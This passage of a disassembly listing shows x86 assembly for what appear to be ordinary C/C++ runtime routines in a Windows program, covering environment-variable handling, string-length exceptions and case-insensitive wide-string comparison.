		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2A0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2A4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2A0, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2A8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2A8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A8, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2A0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2A0, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25C10E4h
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC7E1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		db 0E6h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2840000h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 1Bh

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 265036Ch
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB334, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB334
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB58C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB58C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE2C
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB58C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB58C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27F116Ah
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
